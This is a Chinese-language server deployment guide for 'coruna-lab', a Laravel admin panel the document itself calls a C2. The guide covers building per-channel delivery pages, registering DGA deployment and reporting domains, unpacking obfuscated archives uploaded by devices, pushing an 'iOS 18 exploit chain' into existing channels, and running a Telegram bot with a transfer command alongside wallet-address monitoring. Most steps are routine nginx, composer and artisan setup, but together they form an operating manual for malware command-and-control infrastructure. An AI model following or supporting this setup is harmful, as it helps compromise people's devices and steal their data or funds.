21 KiB
宝塔部署指南(coruna-lab + channel-builder + channel-builder-new)
同机部署:Laravel 内嵌两套 Python 构建器直接写产物;Admin / C2 与静态产物站对外。不再需要独立 Build API / 8081。
| 构建器 | 路径 | 渠道 ID | 产物 |
|---|---|---|---|
旧版 channel-builder |
coruna-lab/channel-builder |
32-hex | public/web/<id>/ + 共享 public/sync/ |
新版 channel-builder-new(xxbb / weifile) |
coruna-lab/channel-builder-new |
X.Y.ZZ(6 位,如 A.B.C1) |
public/channel/<ver>/;共享模板 public/details/ |
新版用环境变量 XXBB_CHANNEL_C(32-hex) 作为全站共享 DGA / 上报字段 c;渠道之间靠版本号 ver 区分,不是靠 c。
架构
| 角色 | 项目 / 路径 | 对外 | 进程 |
|---|---|---|---|
| C2 / Admin / 静态 | coruna-lab(public/) |
https://admin.example.com |
Nginx + PHP-FPM |
| 旧版构建 | coruna-lab/channel-builder |
无(PHP Process 调用) | Python venv |
| 新版构建 | coruna-lab/channel-builder-new |
无(PHP Process 调用) | Python venv |
设备 / 运营
│
├─ Admin / C2 ──► coruna-lab/public (Laravel)
│ │
│ ├─ Process ──► channel-builder
│ │ → public/web|sync
│ │ → state: storage/app/channel-builder
│ │
│ └─ Process ──► channel-builder-new
│ → public/details/(共享模板)
│ → public/channel/<ver>/(每渠道独占)
│ → state: storage/app/channel-builder-new
│
├─ 旧静态:/web/<id>/… /sync/…
├─ 新静态:/channel/<ver>/… /details/…
├─ 新别名:/c/<ver>/show.htm → Laravel → channel/<ver>/details/show.html
└─ DGA 域名反代到同一 public/
建议目录:
/www/wwwroot/coruna-lab/
防火墙只放行 80/443。
0. 服务器准备
软件商店安装:
- Nginx
- MySQL 8.0
- PHP 8.2+(站点选用;宝塔可多版本并存,按站点切换)
- Python 3.10+(系统或面板)
- Composer(建议 ≥ 2.2,见下文排错)
PHP 扩展:pdo_mysql、mbstring、openssl、tokenizer、xml、ctype、json、fileinfo、curl、zip、gmp
系统包:p7zip-full(或等价)、git
PHP 多版本
宝塔可同时安装多个 PHP。每个站点在「网站 → 设置 → PHP 版本」单独选择。
CLI 请显式使用对应二进制,例如:
/www/server/php/82/bin/php -v
/www/server/php/82/bin/php artisan migrate
扩展、禁用函数、php.ini 必须在该站点所用版本里配置。
PHP 运行参数(FPM / 网站)
路径:软件商店 → PHP 8.2 → 设置 → 配置修改(php.ini)
建议:
upload_max_filesize = 64M
post_max_size = 64M
max_execution_time = 600
max_input_time = 600
post_max_size≥upload_max_filesize- Admin 触发构建会同步等待 Python 脚本(旧版 / 新版均走同一超时),与
.env中CORUNA_CHANNEL_BUILDER_TIMEOUT对齐(建议 ≥ 600) - CLI 查
max_execution_time常为0(不限制),属正常;以浏览器/phpinfo()的 FPM 值为准
Nginx 站点配置建议同时加大:
client_max_body_size 64m;
禁用函数:Composer / Laravel 需要 putenv;C2 解包和 Trust UTC 解密(python scrypt) 需要 proc_open。从 PHP「禁用函数」中移除 putenv、proc_open。系统 python3 自带 hashlib.scrypt 即可,不必另装 pycryptodome(有 builder venv 则优先用 venv)。
1. 部署两套 channel-builder(随 coruna-lab)
两套可并存;后台创建渠道时选「旧版 / 新版」。上线若要开新版渠道,两套 venv 都要装。
1.1 旧版 channel-builder
cd /www/wwwroot/coruna-lab/channel-builder
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
产物:public/web/<32-hex>/、public/sync/;状态:storage/app/channel-builder/。
1.2 新版 channel-builder-new(xxbb / weifile)
cd /www/wwwroot/coruna-lab/channel-builder-new
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
依赖与旧版相同(pycryptodome、py7zr)。
产物与状态:
| 路径 | 作用 |
|---|---|
public/details/ |
共享模板(xxbb:build / 创建渠道前 build.py --apply 写入) |
public/channel/<ver>/ |
每渠道独占树(weifile/ + details/ 等,pack_channel.py 写入) |
storage/app/channel-builder-new/ |
lab_seeds.json、out/weifile/(staged,不对外) |
创建新版渠道时 Laravel 会:
- 用
.env的XXBB_CHANNEL_C跑tools/build.py --apply --force(不会 random) - 再跑
tools/pack_channel.py打进public/channel/<ver>/
因此上线前必须先配置好 XXBB_CHANNEL_C(见 1.4)。
1.3 权限与静态路径(Admin 站点 Nginx)
# PHP-FPM 用户需能执行两套 .venv/bin/python,并写 public/ 与两套 state
chown -R www:www \
/www/wwwroot/coruna-lab/public \
/www/wwwroot/coruna-lab/storage
产物默认落在 Laravel public/,与 Admin 同站即可:
# 旧版
https://admin.example.com/web/<32-hex>/support.html
https://admin.example.com/sync/daily.html
# 新版
https://admin.example.com/channel/<ver>/weifile/weifile.html
https://admin.example.com/channel/<ver>/details/
https://admin.example.com/details/… # 共享模板(native 按需拉)
https://admin.example.com/c/<ver>/show.htm # Laravel 别名 → channel/<ver>/details/show.html
在 Admin 站点 Nginx 中优先静态命中(放在 location / 的 try_files … /index.php 之前)。/c/ 不要配成纯静态,交给 Laravel:
location ~ "^/web/[0-9a-f]{32}/" {
try_files $uri =404;
add_header Cache-Control "public, max-age=300";
}
location /sync/ {
try_files $uri =404;
add_header Cache-Control "public, max-age=60";
}
# 新版:每渠道独占树(ver 形如 A.B.C1)
location ~ "^/channel/[0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2}/" {
try_files $uri =404;
add_header Cache-Control "public, max-age=300";
}
# 新版共享 details 模板
location /details/ {
try_files $uri =404;
add_header Cache-Control "public, max-age=300";
}
lab_seeds.json / out/ 分别在 storage/app/channel-builder/ 与 storage/app/channel-builder-new/,不在 web 根。
首次创建渠道后,用返回的 DGA domains.deployment / domains.reporting 注册域名,反代到同一 public/(reporting → C2;新版短路径 C2 见 routes/xxbb.php)。
1.4 首次生成 XXBB_CHANNEL_C(仅新版需要)
新版创建渠道前 .env 必须有共享 c。任选其一:
cd /www/wwwroot/coruna-lab
# 推荐:随机生成并写出共享产物
/www/server/php/82/bin/php artisan xxbb:build --random-c
# 输出含 XXBB_CHANNEL_C=… 与域名列表 → 写入 .env 后:
/www/server/php/82/bin/php artisan config:clear
# 或指定已有 c:
/www/server/php/82/bin/php artisan xxbb:build --channel-c=<32-hex>
等价手动:
cd /www/wwwroot/coruna-lab/channel-builder-new
.venv/bin/python tools/build.py --random-c --apply --force
# 或 --channel-c <32-hex>
注意:
- 部署后域名由
c决定,不要随意改XXBB_CHANNEL_C,否则设备 DGA 与线上不一致 - 渠道身份是
X.Y.ZZ(写入 core 的ver/sdkv),不是c - 7zAES 密码槽固定,不要把
XXBB_CHANNEL_C设成与内置 7z 密码相同的值 - 日常运维刷新共享
/details可再跑php artisan xxbb:build(读 env 中的 c);新建渠道时也会自动 rebuild - 已有新版渠道要吃上新插件 / iOS 18 利用链:
php artisan xxbb:repack(可先--dry-run;也可指定0.0.01)。渠道 ID、XXBB_CHANNEL_C、投放域名不变,只覆盖public/channel/{id}/
2. 部署 coruna-lab
2.1 站点
新建站点(如 admin.example.com):
- 根目录:
/www/wwwroot/coruna-lab/public(必须是public) - PHP:8.2+
- 伪静态:Laravel
location / {
try_files $uri $uri/ /index.php?$query_string;
}
2.2 Composer
需要 Composer ≥ 2.2(Laravel 12 要求 composer-runtime-api ^2.2)以及 ext-gmp。
# 若 /usr/bin/composer 过旧,安装新版本:
curl -sS https://getcomposer.org/installer \
| /www/server/php/82/bin/php -- --install-dir=/usr/local/bin --filename=composer
/www/server/php/82/bin/php /usr/local/bin/composer -V
cd /www/wwwroot/coruna-lab
/www/server/php/82/bin/php /usr/local/bin/composer install --no-dev --optimize-autoloader
composer self-update
composer install --no-dev --optimize-autoloader
常见错误见文末「排错」。
2.3 环境与数据库
cp .env.example .env
# 编辑 .env(见下节)
/www/server/php/82/bin/php artisan key:generate
chown -R www:www storage bootstrap/cache
chmod -R ug+rwx storage bootstrap/cache
# 宝塔创建 MySQL 库/用户后:
/www/server/php/82/bin/php artisan migrate --seed
默认后台:/admin/login(账号见 ADMIN_*,上线务必修改)。
2.4 .env 要点
APP_ENV=production
APP_DEBUG=false
APP_URL=https://admin.example.com
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=coruna
DB_USERNAME=...
DB_PASSWORD=...
ADMIN_USERNAME=admin
ADMIN_PASSWORD=改成强密码
# Session(HTTPS 单域名后台;DOMAIN 保持 null)
SESSION_DRIVER=file
SESSION_LIFETIME=120
SESSION_ENCRYPT=false
SESSION_PATH=/
SESSION_DOMAIN=null
SESSION_SECURE_COOKIE=true
SESSION_SAME_SITE=lax
# 内嵌两套 builder(无 Build API;产物默认 public/)
CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python
CORUNA_CHANNEL_BUILDER_NEW_PYTHON=/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
# CORUNA_ARTIFACT_ROOT=/www/wwwroot/coruna-lab/public
# CORUNA_CHANNEL_STATE_ROOT=/www/wwwroot/coruna-lab/storage/app/channel-builder
# CORUNA_CHANNEL_NEW_STATE_ROOT=/www/wwwroot/coruna-lab/storage/app/channel-builder-new
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
# 新版 xxbb 共享 DGA / 上报字段 c(32 hex)。必填才能后台创建「新版」渠道。
# 首次:php artisan xxbb:build --random-c → 把打印的值写到这里 → config:clear
XXBB_CHANNEL_C=
# iptj PageVisit 与新版设备按 IP 关联窗口(分钟)
XXBB_VISIT_MATCH_MINUTES=30
# 后台「投放链接」展示域名(不驱动二进制补丁;DGA 域名以首次构建返回为准)
CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com
CORUNA_STATIC_SITE_SCHEME=https
CORUNA_REPORTING_DOMAINS=
# C2 上报 7z 解包(与 build_api 无关,仍需配置)
CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z
TELEGRAM_BOT_TOKEN=
TELEGRAM_OWNER_CHAT_ID=
# 可选;设置后注册 webhook 时会带 secret_token
TELEGRAM_WEBHOOK_SECRET=
# 勿轻易开启 NUTGRAM_SAFE_MODE(见 .env.example)
改 .env 后(登录 / Session 依赖这一步):
cd /www/wwwroot/coruna-lab
/www/server/php/82/bin/php artisan config:clear
chown -R www:www storage/framework/sessions
chmod -R ug+rwx storage/framework/sessions
# 生产可再:
# /www/server/php/82/bin/php artisan config:cache
# /www/server/php/82/bin/php artisan route:cache
# /www/server/php/82/bin/php artisan view:cache
浏览器登录前建议清掉该站 cookie。storage/framework/sessions 必须对 PHP-FPM 用户(宝塔多为 www)可写,否则后台 POST 登录易出现 419。
2.5 新版 builder 就绪(有新版渠道时)
在 composer install / migrate 之后、后台建新版渠道之前:
- 已按 §1.2 装好
channel-builder-new/.venv - 按 §1.4 生成并写入
XXBB_CHANNEL_C - 确认:
/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python -c 'import Crypto, py7zr; print("ok")'
/www/server/php/82/bin/php artisan xxbb:build # 使用 .env 中的 XXBB_CHANNEL_C 刷新 /details
ls -la /www/wwwroot/coruna-lab/public/details
ls -la /www/wwwroot/coruna-lab/storage/app/channel-builder-new/out/weifile
未配置 XXBB_CHANNEL_C 时,后台创建「新版」渠道会直接报错。
2.6 p7zip(C2 入库)
CORUNA_7Z_BIN 仍需要:设备 multipart 上报的混淆 7z 由 Laravel CorunaArchive 解压,与两套 channel-builder 无关。
Debian / Ubuntu(宝塔常见):
若 apt update 因失效源失败(例如腾讯 GitLab CE 镜像 404),先禁用:
mv /etc/apt/sources.list.d/gitlab-ce.list \
/etc/apt/sources.list.d/gitlab-ce.list.disabled
apt update
apt install -y p7zip-full
command -v 7z
拷到项目(规避 open_basedir):
cd /www/wwwroot/coruna-lab
mkdir -p bin
cp "$(command -v 7z)" bin/7z
chmod +x bin/7z
command -v 7z 为空说明未装成功或 PATH 无 7z;用 find /usr -name '7z' 2>/dev/null 定位后再 cp。
2.7 Telegram Webhook(上线必做)
Bot 入站指令(如 /transfer)依赖公网 HTTPS webhook,默认路径:
https://<APP_URL>/hooks/telegram
.env填好TELEGRAM_BOT_TOKEN、TELEGRAM_OWNER_CHAT_ID;建议设置TELEGRAM_WEBHOOK_SECRET(随机长串)APP_URL必须是对外可访问的https://admin.example.com(无尾斜杠亦可,命令会拼接路径)- 确保站点已上 SSL,Telegram 能访问该 URL
- 注册 webhook:
cd /www/wwwroot/coruna-lab
# 使用 APP_URL + /hooks/telegram
/www/server/php/82/bin/php artisan telegram:set-webhook
# 或显式指定:
/www/server/php/82/bin/php artisan telegram:set-webhook \
'https://admin.example.com/hooks/telegram'
成功输出 OK。若配置了 TELEGRAM_WEBHOOK_SECRET,命令会一并传给 Telegram secret_token;控制器按该 secret 校验。
更换域名或 token 后需重新执行本命令。
Bot 指令无响应 / getWebhookInfo 报 500
- 看 Laravel 日志是否出现
telegram webhook hit/telegram webhook failed:
tail -n 100 /www/wwwroot/coruna-lab/storage/logs/laravel.log
- 若日志完全无变化,再查 PHP-FPM / Nginx(可能未写到
laravel.log):
ls -la /www/wwwroot/coruna-lab/storage/logs/
# 宝塔常见:
tail -n 80 /www/wwwlogs/yxouw.cc.error.log
tail -n 80 /www/server/php/82/var/log/php-fpm.log
getWebhookInfo中pending_update_count > 0且last_error_message含 500:部署含「webhook 始终 ACK」的修复后,重新:
/www/server/php/82/bin/php artisan telegram:set-webhook
- 群无回复但日志有
AuthorizedChat: chat rejected:把TELEGRAM_OWNER_CHAT_ID(或后台设置)改成日志里的真实chat_id(超群多为-100...),再config:clear。
可选(地址监控):若启用 Tokenview,可另执行:
/www/server/php/82/bin/php artisan tokenview:set-webhook
# 默认 → https://<APP_URL>/hooks/tokenview
3. 联调检查清单
- 旧版:
channel-builder/.venv/bin/python -c 'import Crypto, py7zr; print("ok")'正常 - 新版:
channel-builder-new/.venv/bin/python -c 'import Crypto, py7zr; print("ok")'正常;.env已有XXBB_CHANNEL_C - Admin 登录
https://admin.example.com/admin/login - 旧版渠道:新建 → 构建成功;响应含
seeds/domains(首次);打开/web/<id>/support.html与/sync/daily.html - 新版渠道:ID 用
X.Y.ZZ(如0.0.01)→ 构建成功;打开/channel/<ver>/weifile/weifile.html;/details/可访问;/c/<ver>/show.htm有内容 - seed / staged weifile 只在
storage/app/channel-builder*,不通过 URL 暴露 - C2 上报与 7z 入库正常(新版短路径含
/a/u/event等,见routes/xxbb.php) telegram:set-webhook成功;Bot 能收到指令
4. 日常运维
| 动作 | 命令 / 操作 |
|---|---|
| 更新旧版 builder | 拉代码 → channel-builder/.venv 内 pip install -r requirements.txt |
| 更新新版 builder | 拉代码 → channel-builder-new/.venv 内 pip install -r requirements.txt;必要时 php artisan xxbb:build 刷新共享 /details;已有渠道再跑 php artisan xxbb:repack |
| 更新 lab | 拉代码 → composer install → artisan migrate → config:cache 等 |
| 备份 | MySQL + public/web + public/sync + public/channel + public/details + storage/app/channel-builder + storage/app/channel-builder-new |
| 构建超时 | 加大 CORUNA_CHANNEL_BUILDER_TIMEOUT 与 PHP max_execution_time |
勿改线上 XXBB_CHANNEL_C |
改了会导致新版 DGA 域名与已装设备不一致;换战役需整体重部署策略 |
当前 QUEUE_CONNECTION=sync,一般无需单独 queue worker。
5. 排错摘要
mkdir(): Permission denied at Helpers.php / public/log
C2 中间件会写 public/log/c2/Ymd.log(旧版)和 public/log/xxbb/Ymd.log(新版短路径)。站点运行用户(宝塔多为 www)对 public/log 无写权限时会报错。
cd /www/wwwroot/coruna-lab
mkdir -p public/log/c2 public/log/xxbb
chown -R www:www public/log storage bootstrap/cache
chmod -R ug+rwx public/log storage bootstrap/cache
同时确认网站「运行目录 / 用户」与上述属主一致。部署后建议立刻执行一次,避免首个 C2 请求踩坑。
Composer:putenv() undefined
PHP「禁用函数」含 putenv。在 PHP 8.2 设置里移除后重试。
Composer:composer-runtime-api 2.0.0 不满足 ^2.2
/usr/bin/composer 过旧。用 getcomposer.org 安装到 /usr/local/bin/composer(≥ 2.2),并用 PHP 8.2 调用。
不要用 composer update「修」这个问题——lock 本身通常没问题。
Composer:缺少 ext-gmp
软件商店 → PHP 8.2 → 安装扩展 gmp,确认:
/www/server/php/82/bin/php -m | grep -i gmp
后台新建「新版」渠道失败:请先在 .env 配置 XXBB_CHANNEL_C
按 §1.4 执行 php artisan xxbb:build --random-c,把输出的 XXBB_CHANNEL_C 写入 .env,再 config:clear。确认 channel-builder-new/.venv 已安装。
is_file(): open_basedir restriction … channel-builder-new/.venv/bin/python
.venv/bin/python 一般是指向 /usr/bin/python3* 的软链。PHP is_file() 会解析真实路径,而宝塔 open_basedir 通常只有项目根 + /tmp,于是报错。
处理(任选,建议 1+2):
.env显式写上 Python(跳过探测;proc_open执行软链通常仍可用):
CORUNA_CHANNEL_BUILDER_NEW_PYTHON=/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python
/www/server/php/82/bin/php artisan config:clear
-
部署含
venvPythonExists()(先is_link、不跟到/usr/bin)的代码后即可自动探测。 -
不推荐:把
/usr/bin/加进站点open_basedir(面过大)。
自检:
ls -la /www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
# 常见:… -> /usr/bin/python3.10
Nginx:unknown directive "32}/(web|sync)/"
location 正则未加引号,{32} 被当成配置块。改为:
location ~ "^/web/[0-9a-f]{32}/" {
新版 /channel/ 正则同理,花括号必须放在引号内。
apt 因 gitlab-ce 源 404 失败
mv /etc/apt/sources.list.d/gitlab-ce.list \
/etc/apt/sources.list.d/gitlab-ce.list.disabled
apt update
cp "$(command -v 7z)" 报 cannot stat ''
未安装 7z 或不在 PATH。先装 p7zip-full 再拷贝。
CLI max_execution_time => 0
CLI 默认不限制;改网站用的 FPM php.ini 并以 phpinfo() 验证。
后台登录 HTTP 444
444 是 Nginx(宝塔防火墙 / 安全规则)直接掐连接,请求通常未进 PHP。查 Nginx/网站防火墙拦截日志,对管理 IP 或 /admin 放行后再试。
后台登录方式(改造后)
- 登录页为 Layui AJAX JSON 提交(用户名 / 密码 / 可选谷歌验证码),不再整页 form redirect
- 失败限流:同一账号+IP 约 5 次 / 60 秒
- 可选 Google Authenticator:登录后「安全 → 谷歌验证」绑定
- 部署后需执行迁移:
php artisan migrate(admins 增加 status / google_* / last_ip)
后台登录 HTTP 419(Page Expired)
请求已进 Laravel,多为 CSRF / Session。确认:
APP_URL为对外https://...,并设置SESSION_SECURE_COOKIE=true、SESSION_DOMAIN=null- 执行:
cd /www/wwwroot/coruna-lab
/www/server/php/82/bin/php artisan config:clear
chown -R www:www storage/framework/sessions
chmod -R ug+rwx storage/framework/sessions
- 浏览器清除该站 cookie 后重试
裸 curl POST /admin/login 且不带 _token / Session cookie 时出现 419 是预期行为,不能用来判断 Session 坏了。
6. 分机部署(可选)
若要把静态产物拆到另一台纯静态机:
- 旧版:rsync
public/web+public/sync - 新版:rsync
public/channel+public/details;/c/<ver>/show.htm需仍打到 Laravel,或在静态机做等价映射 - 或把
CORUNA_ARTIFACT_ROOT指到共享盘,静态机 Nginx root 指向该盘 - seed / staged 状态仍放在 lab:
CORUNA_CHANNEL_STATE_ROOT、CORUNA_CHANNEL_NEW_STATE_ROOT
同机时无需拆分,Admin public/ 即静态根。